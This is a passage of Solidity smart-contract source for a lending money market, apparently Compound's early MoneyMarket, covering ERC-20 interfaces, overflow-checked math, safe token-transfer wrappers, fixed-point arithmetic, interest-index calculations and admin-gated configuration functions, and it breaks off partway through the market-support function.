function totalSupply() constant returns (uint256 supply);
is replaced with:
uint256 public totalSupply;
This automatically creates a getter function for the totalSupply.
This is moved to the base contract since public getter functions are not
currently recognised as an implementation of the matching abstract
function by the compiler.
*/
/// total amount of tokens
uint256 public totalSupply;
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) public view returns (uint256 balance);
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _value) public returns (bool success);
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
/// @notice `msg.sender` approves `_spender` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of tokens to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint256 _value) public returns (bool success);
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
// solhint-disable-next-line no-simple-event-func-name
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract EIP20NonStandardInterface {
/* This is a slight change to the ERC20 base standard.
function totalSupply() constant returns (uint256 supply);
is replaced with:
uint256 public totalSupply;
This automatically creates a getter function for the totalSupply.
This is moved to the base contract since public getter functions are not
currently recognised as an implementation of the matching abstract
function by the compiler.
*/
/// total amount of tokens
uint256 public totalSupply;
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) public view returns (uint256 balance);
///
/// !!!!!!!!!!!!!!
/// !!! NOTICE !!! `transfer` does not return a value, in violation of the ERC-20 specification
/// !!!!!!!!!!!!!!
///
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _value) public;
///
/// !!!!!!!!!!!!!!
/// !!! NOTICE !!! `transferFrom` does not return a value, in violation of the ERC-20 specification
/// !!!!!!!!!!!!!!
///
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value) public;
/// @notice `msg.sender` approves `_spender` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of tokens to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint256 _value) public returns (bool success);
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
// solhint-disable-next-line no-simple-event-func-name
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract CarefulMath is ErrorReporter {
/**
* @dev Multiplies two numbers, returns an error on overflow.
*/
function mul(uint a, uint b) internal pure returns (Error, uint) {
if (a == 0) {
return (Error.NO_ERROR, 0);
}
uint c = a * b;
if (c / a != b) {
return (Error.INTEGER_OVERFLOW, 0);
} else {
return (Error.NO_ERROR, c);
}
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint a, uint b) internal pure returns (Error, uint) {
if (b == 0) {
return (Error.DIVISION_BY_ZERO, 0);
}
return (Error.NO_ERROR, a / b);
}
/**
* @dev Subtracts two numbers, returns an error on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint a, uint b) internal pure returns (Error, uint) {
if (b <= a) {
return (Error.NO_ERROR, a - b);
} else {
return (Error.INTEGER_UNDERFLOW, 0);
}
}
/**
* @dev Adds two numbers, returns an error on overflow.
*/
function add(uint a, uint b) internal pure returns (Error, uint) {
uint c = a + b;
if (c >= a) {
return (Error.NO_ERROR, c);
} else {
return (Error.INTEGER_OVERFLOW, 0);
}
}
/**
* @dev add a and b and then subtract c
*/
function addThenSub(uint a, uint b, uint c) internal pure returns (Error, uint) {
(Error err0, uint sum) = add(a, b);
if (err0 != Error.NO_ERROR) {
return (err0, 0);
}
return sub(sum, c);
}
}
contract SafeToken is ErrorReporter {
/**
* @dev Checks whether or not there is sufficient allowance for this contract to move amount from `from` and
* whether or not `from` has a balance of at least `amount`. Does NOT do a transfer.
*/
function checkTransferIn(address asset, address from, uint amount) internal view returns (Error) {
EIP20Interface token = EIP20Interface(asset);
if (token.allowance(from, address(this)) < amount) {
return Error.TOKEN_INSUFFICIENT_ALLOWANCE;
}
if (token.balanceOf(from) < amount) {
return Error.TOKEN_INSUFFICIENT_BALANCE;
}
return Error.NO_ERROR;
}
/**
* @dev Similar to EIP20 transfer, except it handles a False result from `transferFrom` and returns an explanatory
* error code rather than reverting. If caller has not called `checkTransferIn`, this may revert due to
* insufficient balance or insufficient allowance. If caller has called `checkTransferIn` prior to this call,
* and it returned Error.NO_ERROR, this should not revert in normal conditions.
*
* Note: This wrapper safely handles non-standard ERC-20 tokens that do not return a value.
* See here: https://medium.com/coinmonks/missing-return-value-bug-at-least-130-tokens-affected-d67bf08521ca
*/
function doTransferIn(address asset, address from, uint amount) internal returns (Error) {
EIP20NonStandardInterface token = EIP20NonStandardInterface(asset);
bool result;
token.transferFrom(from, address(this), amount);
assembly {
switch returndatasize()
case 0 { // This is a non-standard ERC-20
result := not(0) // set result to true
}
case 32 { // This is a complaint ERC-20
returndatacopy(0, 0, 32)
result := mload(0) // Set `result = returndata` of external call
}
default { // This is an excessively non-compliant ERC-20, revert.
revert(0, 0)
}
}
if (!result) {
return Error.TOKEN_TRANSFER_FAILED;
}
return Error.NO_ERROR;
}
/**
* @dev Checks balance of this contract in asset
*/
function getCash(address asset) internal view returns (uint) {
EIP20Interface token = EIP20Interface(asset);
return token.balanceOf(address(this));
}
/**
* @dev Checks balance of `from` in `asset`
*/
function getBalanceOf(address asset, address from) internal view returns (uint) {
EIP20Interface token = EIP20Interface(asset);
return token.balanceOf(from);
}
/**
* @dev Similar to EIP20 transfer, except it handles a False result from `transfer` and returns an explanatory
* error code rather than reverting. If caller has not called checked protocol's balance, this may revert due to
* insufficient cash held in this contract. If caller has checked protocol's balance prior to this call, and verified
* it is >= amount, this should not revert in normal conditions.
*
* Note: This wrapper safely handles non-standard ERC-20 tokens that do not return a value.
* See here: https://medium.com/coinmonks/missing-return-value-bug-at-least-130-tokens-affected-d67bf08521ca
*/
function doTransferOut(address asset, address to, uint amount) internal returns (Error) {
EIP20NonStandardInterface token = EIP20NonStandardInterface(asset);
bool result;
token.transfer(to, amount);
assembly {
switch returndatasize()
case 0 { // This is a non-standard ERC-20
result := not(0) // set result to true
}
case 32 { // This is a complaint ERC-20
returndatacopy(0, 0, 32)
result := mload(0) // Set `result = returndata` of external call
}
default { // This is an excessively non-compliant ERC-20, revert.
revert(0, 0)
}
}
if (!result) {
return Error.TOKEN_TRANSFER_OUT_FAILED;
}
return Error.NO_ERROR;
}
}
contract Exponential is ErrorReporter, CarefulMath {
// TODO: We may wish to put the result of 10**18 here instead of the expression.
// Per https://solidity.readthedocs.io/en/latest/contracts.html#constant-state-variables
// the optimizer MAY replace the expression 10**18 with its calculated value.
uint constant expScale = 10**18;
// See TODO on expScale
uint constant halfExpScale = expScale/2;
struct Exp {
uint mantissa;
}
uint constant mantissaOne = 10**18;
uint constant mantissaOneTenth = 10**17;
/**
* @dev Creates an exponential from numerator and denominator values.
* Note: Returns an error if (`num` * 10e18) > MAX_INT,
* or if `denom` is zero.
*/
function getExp(uint num, uint denom) pure internal returns (Error, Exp memory) {
(Error err0, uint scaledNumerator) = mul(num, expScale);
if (err0 != Error.NO_ERROR) {
return (err0, Exp({mantissa: 0}));
}
(Error err1, uint rational) = div(scaledNumerator, denom);
if (err1 != Error.NO_ERROR) {
return (err1, Exp({mantissa: 0}));
}
return (Error.NO_ERROR, Exp({mantissa: rational}));
}
/**
* @dev Adds two exponentials, returning a new exponential.
*/
function addExp(Exp memory a, Exp memory b) pure internal returns (Error, Exp memory) {
(Error error, uint result) = add(a.mantissa, b.mantissa);
return (error, Exp({mantissa: result}));
}
/**
* @dev Subtracts two exponentials, returning a new exponential.
*/
function subExp(Exp memory a, Exp memory b) pure internal returns (Error, Exp memory) {
(Error error, uint result) = sub(a.mantissa, b.mantissa);
return (error, Exp({mantissa: result}));
}
/**
* @dev Multiply an Exp by a scalar, returning a new Exp.
*/
function mulScalar(Exp memory a, uint scalar) pure internal returns (Error, Exp memory) {
(Error err0, uint scaledMantissa) = mul(a.mantissa, scalar);
if (err0 != Error.NO_ERROR) {
return (err0, Exp({mantissa: 0}));
}
return (Error.NO_ERROR, Exp({mantissa: scaledMantissa}));
}
/**
* @dev Divide an Exp by a scalar, returning a new Exp.
*/
function divScalar(Exp memory a, uint scalar) pure internal returns (Error, Exp memory) {
(Error err0, uint descaledMantissa) = div(a.mantissa, scalar);
if (err0 != Error.NO_ERROR) {
return (err0, Exp({mantissa: 0}));
}
return (Error.NO_ERROR, Exp({mantissa: descaledMantissa}));
}
/**
* @dev Divide a scalar by an Exp, returning a new Exp.
*/
function divScalarByExp(uint scalar, Exp divisor) pure internal returns (Error, Exp memory) {
/*
We are doing this as:
getExp(mul(expScale, scalar), divisor.mantissa)
How it works:
Exp = a / b;
Scalar = s;
`s / (a / b)` = `b * s / a` and since for an Exp `a = mantissa, b = expScale`
*/
(Error err0, uint numerator) = mul(expScale, scalar);
if (err0 != Error.NO_ERROR) {
return (err0, Exp({mantissa: 0}));
}
return getExp(numerator, divisor.mantissa);
}
/**
* @dev Multiplies two exponentials, returning a new exponential.
*/
function mulExp(Exp memory a, Exp memory b) pure internal returns (Error, Exp memory) {
(Error err0, uint doubleScaledProduct) = mul(a.mantissa, b.mantissa);
if (err0 != Error.NO_ERROR) {
return (err0, Exp({mantissa: 0}));
}
// We add half the scale before dividing so that we get rounding instead of truncation.
// See "Listing 6" and text above it at https://accu.org/index.php/journals/1717
// Without this change, a result like 6.6...e-19 will be truncated to 0 instead of being rounded to 1e-18.
(Error err1, uint doubleScaledProductWithHalfScale) = add(halfExpScale, doubleScaledProduct);
if (err1 != Error.NO_ERROR) {
return (err1, Exp({mantissa: 0}));
}
(Error err2, uint product) = div(doubleScaledProductWithHalfScale, expScale);
// The only error `div` can return is Error.DIVISION_BY_ZERO but we control `expScale` and it is not zero.
assert(err2 == Error.NO_ERROR);
return (Error.NO_ERROR, Exp({mantissa: product}));
}
/**
* @dev Divides two exponentials, returning a new exponential.
* (a/scale) / (b/scale) = (a/scale) * (scale/b) = a/b,
* which we can scale as an Exp by calling getExp(a.mantissa, b.mantissa)
*/
function divExp(Exp memory a, Exp memory b) pure internal returns (Error, Exp memory) {
return getExp(a.mantissa, b.mantissa);
}
/**
* @dev Truncates the given exp to a whole number value.
* For example, truncate(Exp{mantissa: 15 * (10**18)}) = 15
*/
function truncate(Exp memory exp) pure internal returns (uint) {
// Note: We are not using careful math here as we're performing a division that cannot fail
return exp.mantissa / 10**18;
}
/**
* @dev Checks if first Exp is less than second Exp.
*/
function lessThanExp(Exp memory left, Exp memory right) pure internal returns (bool) {
return left.mantissa < right.mantissa; //TODO: Add some simple tests and this in another PR yo.
}
/**
* @dev Checks if left Exp <= right Exp.
*/
function lessThanOrEqualExp(Exp memory left, Exp memory right) pure internal returns (bool) {
return left.mantissa <= right.mantissa;
}
/**
* @dev returns true if Exp is exactly zero
*/
function isZeroExp(Exp memory value) pure internal returns (bool) {
return value.mantissa == 0;
}
}
contract MoneyMarket is Exponential, SafeToken {
uint constant initialInterestIndex = 10 ** 18;
uint constant defaultOriginationFee = 0; // default is zero bps
uint constant minimumCollateralRatioMantissa = 11 * (10 ** 17); // 1.1
uint constant maximumLiquidationDiscountMantissa = (10 ** 17); // 0.1
/**
* @notice `MoneyMarket` is the core Compound MoneyMarket contract
*/
constructor() public {
admin = msg.sender;
collateralRatio = Exp({mantissa: 2 * mantissaOne});
originationFee = Exp({mantissa: defaultOriginationFee});
liquidationDiscount = Exp({mantissa: 0});
// oracle must be configured via _setOracle
}
/**
* @notice Do not pay directly into MoneyMarket, please use `supply`.
*/
function() payable public {
revert();
}
/**
* @dev pending Administrator for this contract.
*/
address public pendingAdmin;
/**
* @dev Administrator for this contract. Initially set in constructor, but can
* be changed by the admin itself.
*/
address public admin;
/**
* @dev Account allowed to set oracle prices for this contract. Initially set
* in constructor, but can be changed by the admin.
*/
address public oracle;
/**
* @dev Container for customer balance information written to storage.
*
* struct Balance {
* principal = customer total balance with accrued interest after applying the customer's most recent balance-changing action
* interestIndex = the total interestIndex as calculated after applying the customer's most recent balance-changing action
* }
*/
struct Balance {
uint principal;
uint interestIndex;
}
/**
* @dev 2-level map: customerAddress -> assetAddress -> balance for supplies
*/
mapping(address => mapping(address => Balance)) public supplyBalances;
/**
* @dev 2-level map: customerAddress -> assetAddress -> balance for borrows
*/
mapping(address => mapping(address => Balance)) public borrowBalances;
/**
* @dev Container for per-asset balance sheet and interest rate information written to storage, intended to be stored in a map where the asset address is the key
*
* struct Market {
* isSupported = Whether this market is supported or not (not to be confused with the list of collateral assets)
* blockNumber = when the other values in this struct were calculated
* totalSupply = total amount of this asset supplied (in asset wei)
* supplyRateMantissa = the per-block interest rate for supplies of asset as of blockNumber, scaled by 10e18
* supplyIndex = the interest index for supplies of asset as of blockNumber; initialized in _supportMarket
* totalBorrows = total amount of this asset borrowed (in asset wei)
* borrowRateMantissa = the per-block interest rate for borrows of asset as of blockNumber, scaled by 10e18
* borrowIndex = the interest index for borrows of asset as of blockNumber; initialized in _supportMarket
* }
*/
struct Market {
bool isSupported;
uint blockNumber;
InterestRateModel interestRateModel;
uint totalSupply;
uint supplyRateMantissa;
uint supplyIndex;
uint totalBorrows;
uint borrowRateMantissa;
uint borrowIndex;
}
/**
* @dev map: assetAddress -> Market
*/
mapping(address => Market) public markets;
/**
* @dev list: collateralMarkets
*/
address[] public collateralMarkets;
/**
* @dev The collateral ratio that borrows must maintain (e.g. 2 implies 2:1). This
* is initially set in the constructor, but can be changed by the admin.
*/
Exp public collateralRatio;
/**
* @dev originationFee for new borrows.
*
*/
Exp public originationFee;
/**
* @dev liquidationDiscount for collateral when liquidating borrows
*
*/
Exp public liquidationDiscount;
/**
* @dev flag for whether or not contract is paused
*
*/
bool public paused;
/**
* @dev emitted when a supply is received
* Note: newBalance - amount - startingBalance = interest accumulated since last change
*/
event SupplyReceived(address account, address asset, uint amount, uint startingBalance, uint newBalance);
/**
* @dev emitted when a supply is withdrawn
* Note: startingBalance - amount - startingBalance = interest accumulated since last change
*/
event SupplyWithdrawn(address account, address asset, uint amount, uint startingBalance, uint newBalance);
/**
* @dev emitted when a new borrow is taken
* Note: newBalance - borrowAmountWithFee - startingBalance = interest accumulated since last change
*/
event BorrowTaken(address account, address asset, uint amount, uint startingBalance, uint borrowAmountWithFee, uint newBalance);
/**
* @dev emitted when a borrow is repaid
* Note: newBalance - amount - startingBalance = interest accumulated since last change
*/
event BorrowRepaid(address account, address asset, uint amount, uint startingBalance, uint newBalance);
/**
* @dev emitted when a borrow is liquidated
* targetAccount = user whose borrow was liquidated
* assetBorrow = asset borrowed
* borrowBalanceBefore = borrowBalance as most recently stored before the liquidation
* borrowBalanceAccumulated = borroBalanceBefore + accumulated interest as of immediately prior to the liquidation
* amountRepaid = amount of borrow repaid
* liquidator = account requesting the liquidation
* assetCollateral = asset taken from targetUser and given to liquidator in exchange for liquidated loan
* borrowBalanceAfter = new stored borrow balance (should equal borrowBalanceAccumulated - amountRepaid)
* collateralBalanceBefore = collateral balance as most recently stored before the liquidation
* collateralBalanceAccumulated = collateralBalanceBefore + accumulated interest as of immediately prior to the liquidation
* amountSeized = amount of collateral seized by liquidator
* collateralBalanceAfter = new stored collateral balance (should equal collateralBalanceAccumulated - amountSeized)
*/
event BorrowLiquidated(address targetAccount,
address assetBorrow,
uint borrowBalanceBefore,
uint borrowBalanceAccumulated,
uint amountRepaid,
uint borrowBalanceAfter,
address liquidator,
address assetCollateral,
uint collateralBalanceBefore,
uint collateralBalanceAccumulated,
uint amountSeized,
uint collateralBalanceAfter);
/**
* @dev emitted when pendingAdmin is changed
*/
event NewPendingAdmin(address oldPendingAdmin, address newPendingAdmin);
/**
* @dev emitted when pendingAdmin is accepted, which means admin is updated
*/
event NewAdmin(address oldAdmin, address newAdmin);
/**
* @dev newOracle - address of new oracle
*/
event NewOracle(address oldOracle, address newOracle);
/**
* @dev emitted when new market is supported by admin
*/
event SupportedMarket(address asset, address interestRateModel);
/**
* @dev emitted when risk parameters are changed by admin
*/
event NewRiskParameters(uint oldCollateralRatioMantissa, uint newCollateralRatioMantissa, uint oldLiquidationDiscountMantissa, uint newLiquidationDiscountMantissa);
/**
* @dev emitted when origination fee is changed by admin
*/
event NewOriginationFee(uint oldOriginationFeeMantissa, uint newOriginationFeeMantissa);
/**
* @dev emitted when market has new interest rate model set
*/
event SetMarketInterestRateModel(address asset, address interestRateModel);
/**
* @dev emitted when admin withdraws equity
* Note that `equityAvailableBefore` indicates equity before `amount` was removed.
*/
event EquityWithdrawn(address asset, uint equityAvailableBefore, uint amount, address owner);
/**
* @dev emitted when a supported market is suspended by admin
*/
event SuspendedMarket(address asset);
/**
* @dev emitted when admin either pauses or resumes the contract; newState is the resulting state
*/
event SetPaused(bool newState);
/**
* @dev Simple function to calculate min between two numbers.
*/
function min(uint a, uint b) pure internal returns (uint) {
if (a < b) {
return a;
} else {
return b;
}
}
/**
* @dev Function to simply retrieve block number
* This exists mainly for inheriting test contracts to stub this result.
*/
function getBlockNumber() internal view returns (uint) {
return block.number;
}
/**
* @dev Adds a given asset to the list of collateral markets. This operation is impossible to reverse.
* Note: this will not add the asset if it already exists.
*/
function addCollateralMarket(address asset) internal {
for (uint i = 0; i < collateralMarkets.length; i++) {
if (collateralMarkets[i] == asset) {
return;
}
}
collateralMarkets.push(asset);
}
/**
* @notice return the number of elements in `collateralMarkets`
* @dev you can then externally call `collateralMarkets(uint)` to pull each market address
* @return the length of `collateralMarkets`
*/
function getCollateralMarketsLength() public view returns (uint) {
return collateralMarkets.length;
}
/**
* @dev Calculates a new supply index based on the prevailing interest rates applied over time
* This is defined as `we multiply the most recent supply index by (1 + blocks times rate)`
*/
function calculateInterestIndex(uint startingInterestIndex, uint interestRateMantissa, uint blockStart, uint blockEnd) pure internal returns (Error, uint) {
// Get the block delta
(Error err0, uint blockDelta) = sub(blockEnd, blockStart);
if (err0 != Error.NO_ERROR) {
return (err0, 0);
}
// Scale the interest rate times number of blocks
// Note: Doing Exp construction inline to avoid `CompilerError: Stack too deep, try removing local variables.`
(Error err1, Exp memory blocksTimesRate) = mulScalar(Exp({mantissa: interestRateMantissa}), blockDelta);
if (err1 != Error.NO_ERROR) {
return (err1, 0);
}
// Add one to that result (which is really Exp({mantissa: expScale}) which equals 1.0)
(Error err2, Exp memory onePlusBlocksTimesRate) = addExp(blocksTimesRate, Exp({mantissa: mantissaOne}));
if (err2 != Error.NO_ERROR) {
return (err2, 0);
}
// Then scale that accumulated interest by the old interest index to get the new interest index
(Error err3, Exp memory newInterestIndexExp) = mulScalar(onePlusBlocksTimesRate, startingInterestIndex);
if (err3 != Error.NO_ERROR) {
return (err3, 0);
}
// Finally, truncate the interest index. This works only if interest index starts large enough
// that is can be accurately represented with a whole number.
return (Error.NO_ERROR, truncate(newInterestIndexExp));
}
/**
* @dev Calculates a new balance based on a previous balance and a pair of interest indices
* This is defined as: `The user's last balance checkpoint is multiplied by the currentSupplyIndex
* value and divided by the user's checkpoint index value`
*
* TODO: Is there a way to handle this that is less likely to overflow?
*/
function calculateBalance(uint startingBalance, uint interestIndexStart, uint interestIndexEnd) pure internal returns (Error, uint) {
if (startingBalance == 0) {
// We are accumulating interest on any previous balance; if there's no previous balance, then there is
// nothing to accumulate.
return (Error.NO_ERROR, 0);
}
(Error err0, uint balanceTimesIndex) = mul(startingBalance, interestIndexEnd);
if (err0 != Error.NO_ERROR) {
return (err0, 0);
}
return div(balanceTimesIndex, interestIndexStart);
}
/**
* @dev Gets the price for the amount specified of the given asset.
*/
function getPriceForAssetAmount(address asset, uint assetAmount) internal view returns (Error, Exp memory) {
(Error err, Exp memory assetPrice) = fetchAssetPrice(asset);
if (err != Error.NO_ERROR) {
return (err, Exp({mantissa: 0}));
}
if (isZeroExp(assetPrice)) {
return (Error.MISSING_ASSET_PRICE, Exp({mantissa: 0}));
}
return mulScalar(assetPrice, assetAmount); // assetAmountWei * oraclePrice = assetValueInEth
}
/**
* @dev Gets the price for the amount specified of the given asset multiplied by the current
* collateral ratio (i.e., assetAmountWei * collateralRatio * oraclePrice = totalValueInEth).
* We will group this as `(oraclePrice * collateralRatio) * assetAmountWei`
*/
function getPriceForAssetAmountMulCollatRatio(address asset, uint assetAmount) internal view returns (Error, Exp memory) {
Error err;
Exp memory assetPrice;
Exp memory scaledPrice;
(err, assetPrice) = fetchAssetPrice(asset);
if (err != Error.NO_ERROR) {
return (err, Exp({mantissa: 0}));
}
if (isZeroExp(assetPrice)) {
return (Error.MISSING_ASSET_PRICE, Exp({mantissa: 0}));
}
// Now, multiply the assetValue by the collateral ratio
(err, scaledPrice) = mulExp(collateralRatio, assetPrice);
if (err != Error.NO_ERROR) {
return (err, Exp({mantissa: 0}));
}
// Get the price for the given asset amount
return mulScalar(scaledPrice, assetAmount);
}
/**
* @dev Calculates the origination fee added to a given borrowAmount
* This is simply `(1 + originationFee) * borrowAmount`
*
* TODO: Track at what magnitude this fee rounds down to zero?
*/
function calculateBorrowAmountWithFee(uint borrowAmount) view internal returns (Error, uint) {
// When origination fee is zero, the amount with fee is simply equal to the amount
if (isZeroExp(originationFee)) {
return (Error.NO_ERROR, borrowAmount);
}
(Error err0, Exp memory originationFeeFactor) = addExp(originationFee, Exp({mantissa: mantissaOne}));
if (err0 != Error.NO_ERROR) {
return (err0, 0);
}
(Error err1, Exp memory borrowAmountWithFee) = mulScalar(originationFeeFactor, borrowAmount);
if (err1 != Error.NO_ERROR) {
return (err1, 0);
}
return (Error.NO_ERROR, truncate(borrowAmountWithFee));
}
/**
* @dev fetches the price of asset from the PriceOracle and converts it to Exp
* @param asset asset whose price should be fetched
*/
function fetchAssetPrice(address asset) internal view returns (Error, Exp memory) {
if (oracle == address(0)) {
return (Error.ZERO_ORACLE_ADDRESS, Exp({mantissa: 0}));
}
PriceOracleInterface oracleInterface = PriceOracleInterface(oracle);
uint priceMantissa = oracleInterface.assetPrices(asset);
return (Error.NO_ERROR, Exp({mantissa: priceMantissa}));
}
/**
* @notice Reads scaled price of specified asset from the price oracle
* @dev Reads scaled price of specified asset from the price oracle.
* The plural name is to match a previous storage mapping that this function replaced.
* @param asset Asset whose price should be retrieved
* @return 0 on an error or missing price, the price scaled by 1e18 otherwise
*/
function assetPrices(address asset) public view returns (uint) {
(Error err, Exp memory result) = fetchAssetPrice(asset);
if (err != Error.NO_ERROR) {
return 0;
}
return result.mantissa;
}
/**
* @dev Gets the amount of the specified asset given the specified Eth value
* ethValue / oraclePrice = assetAmountWei
* If there's no oraclePrice, this returns (Error.DIVISION_BY_ZERO, 0)
*/
function getAssetAmountForValue(address asset, Exp ethValue) internal view returns (Error, uint) {
Error err;
Exp memory assetPrice;
Exp memory assetAmount;
(err, assetPrice) = fetchAssetPrice(asset);
if (err != Error.NO_ERROR) {
return (err, 0);
}
(err, assetAmount) = divExp(ethValue, assetPrice);
if (err != Error.NO_ERROR) {
return (err, 0);
}
return (Error.NO_ERROR, truncate(assetAmount));
}
/**
* @notice Begins transfer of admin rights. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer.
* @dev Admin function to begin change of admin. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer.
* @param newPendingAdmin New pending admin.
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*
* TODO: Should we add a second arg to verify, like a checksum of `newAdmin` address?
*/
function _setPendingAdmin(address newPendingAdmin) public returns (uint) {
// Check caller = admin
if (msg.sender != admin) {
return fail(Error.UNAUTHORIZED, FailureInfo.SET_PENDING_ADMIN_OWNER_CHECK);
}
// save current value, if any, for inclusion in log
address oldPendingAdmin = pendingAdmin;
// Store pendingAdmin = newPendingAdmin
pendingAdmin = newPendingAdmin;
emit NewPendingAdmin(oldPendingAdmin, newPendingAdmin);
return uint(Error.NO_ERROR);
}
/**
* @notice Accepts transfer of admin rights. msg.sender must be pendingAdmin
* @dev Admin function for pending admin to accept role and update admin
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _acceptAdmin() public returns (uint) {
// Check caller = pendingAdmin
// msg.sender can't be zero
if (msg.sender != pendingAdmin) {
return fail(Error.UNAUTHORIZED, FailureInfo.ACCEPT_ADMIN_PENDING_ADMIN_CHECK);
}
// Save current value for inclusion in log
address oldAdmin = admin;
// Store admin = pendingAdmin
admin = pendingAdmin;
// Clear the pending value
pendingAdmin = 0;
emit NewAdmin(oldAdmin, msg.sender);
return uint(Error.NO_ERROR);
}
/**
* @notice Set new oracle, who can set asset prices
* @dev Admin function to change oracle
* @param newOracle New oracle address
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _setOracle(address newOracle) public returns (uint) {
// Check caller = admin
if (msg.sender != admin) {
return fail(Error.UNAUTHORIZED, FailureInfo.SET_ORACLE_OWNER_CHECK);
}
// Verify contract at newOracle address supports assetPrices call.
// This will revert if it doesn't.
PriceOracleInterface oracleInterface = PriceOracleInterface(newOracle);
oracleInterface.assetPrices(address(0));
address oldOracle = oracle;
// Store oracle = newOracle
oracle = newOracle;
emit NewOracle(oldOracle, newOracle);
return uint(Error.NO_ERROR);
}
/**
* @notice set `paused` to the specified state
* @dev Admin function to pause or resume the market
* @param requestedState value to assign to `paused`
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _setPaused(bool requestedState) public returns (uint) {
// Check caller = admin
if (msg.sender != admin) {
return fail(Error.UNAUTHORIZED, FailureInfo.SET_PAUSED_OWNER_CHECK);
}
paused = requestedState;
emit SetPaused(requestedState);
return uint(Error.NO_ERROR);
}
/**
* @notice returns the liquidity for given account.
* a positive result indicates ability to borrow, whereas
* a negative result indicates a shortfall which may be liquidated
* @dev returns account liquidity in terms of eth-wei value, scaled by 1e18
* note: this includes interest trued up on all balances
* @param account the account to examine
* @return signed integer in terms of eth-wei (negative indicates a shortfall)
*/
function getAccountLiquidity(address account) public view returns (int) {
(Error err, Exp memory accountLiquidity, Exp memory accountShortfall) = calculateAccountLiquidity(account);
require(err == Error.NO_ERROR);
if (isZeroExp(accountLiquidity)) {
return -1 * int(truncate(accountShortfall));
} else {
return int(truncate(accountLiquidity));
}
}
/**
* @notice return supply balance with any accumulated interest for `asset` belonging to `account`
* @dev returns supply balance with any accumulated interest for `asset` belonging to `account`
* @param account the account to examine
* @param asset the market asset whose supply balance belonging to `account` should be checked
* @return uint supply balance on success, throws on failed assertion otherwise
*/
function getSupplyBalance(address account, address asset) view public returns (uint) {
Error err;
uint newSupplyIndex;
uint userSupplyCurrent;
Market storage market = markets[asset];
Balance storage supplyBalance = supplyBalances[account][asset];
// Calculate the newSupplyIndex, needed to calculate user's supplyCurrent
(err, newSupplyIndex) = calculateInterestIndex(market.supplyIndex, market.supplyRateMantissa, market.blockNumber, getBlockNumber());
require(err == Error.NO_ERROR);
// Use newSupplyIndex and stored principal to calculate the accumulated balance
(err, userSupplyCurrent) = calculateBalance(supplyBalance.principal, supplyBalance.interestIndex, newSupplyIndex);
require(err == Error.NO_ERROR);
return userSupplyCurrent;
}
/**
* @notice return borrow balance with any accumulated interest for `asset` belonging to `account`
* @dev returns borrow balance with any accumulated interest for `asset` belonging to `account`
* @param account the account to examine
* @param asset the market asset whose borrow balance belonging to `account` should be checked
* @return uint borrow balance on success, throws on failed assertion otherwise
*/
function getBorrowBalance(address account, address asset) view public returns (uint) {
Error err;
uint newBorrowIndex;
uint userBorrowCurrent;
Market storage market = markets[asset];
Balance storage borrowBalance = borrowBalances[account][asset];
// Calculate the newBorrowIndex, needed to calculate user's borrowCurrent
(err, newBorrowIndex) = calculateInterestIndex(market.borrowIndex, market.borrowRateMantissa, market.blockNumber, getBlockNumber());
require(err == Error.NO_ERROR);
// Use newBorrowIndex and stored principal to calculate the accumulated balance
(err, userBorrowCurrent) = calculateBalance(borrowBalance.principal, borrowBalance.interestIndex, newBorrowIndex);
require(err == Error.NO_ERROR);
return userBorrowCurrent;
}
/**
* @notice Supports a given market (asset) for use with Compound
* @dev Admin function to add support for a market
* @param asset Asset to support; MUST already have a non-zero price set
* @param interestRateModel InterestRateModel to use for the asset
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _supportMarket(address asset, InterestRateModel interestRateModel) public returns (uint) {
// Check caller = admin
if (msg.sender != admin) {
return fail(Error.UNAUTHORIZED, FailureInfo.SUPPORT_MARKET_OWNER_CHECK);
}
(Error err, Exp memory assetPrice) = fetchAssetPrice(asset);
if (err != Error.NO_ERROR) {
return fail(err, FailureInfo.SUPPORT_MARKET_FETCH_PRICE_FAILED);
}
if (isZeroExp(assetPrice)) {
return fail(Error.ASSET_NOT_PRICED, FailureInfo.SUPPORT_MARKET_PRICE_CHECK);
}
// Set the interest rate model to `modelAddress`
markets[asset].interestRateModel = interestRateModel;
// Append asset to collateralAssets if not set
addCollateralMarket(asset);
// Set market isSupported to true
markets[asset].isSupported = true;
// Default supply and borrow index to 1e18
if (markets[asset].supplyIndex == 0) {
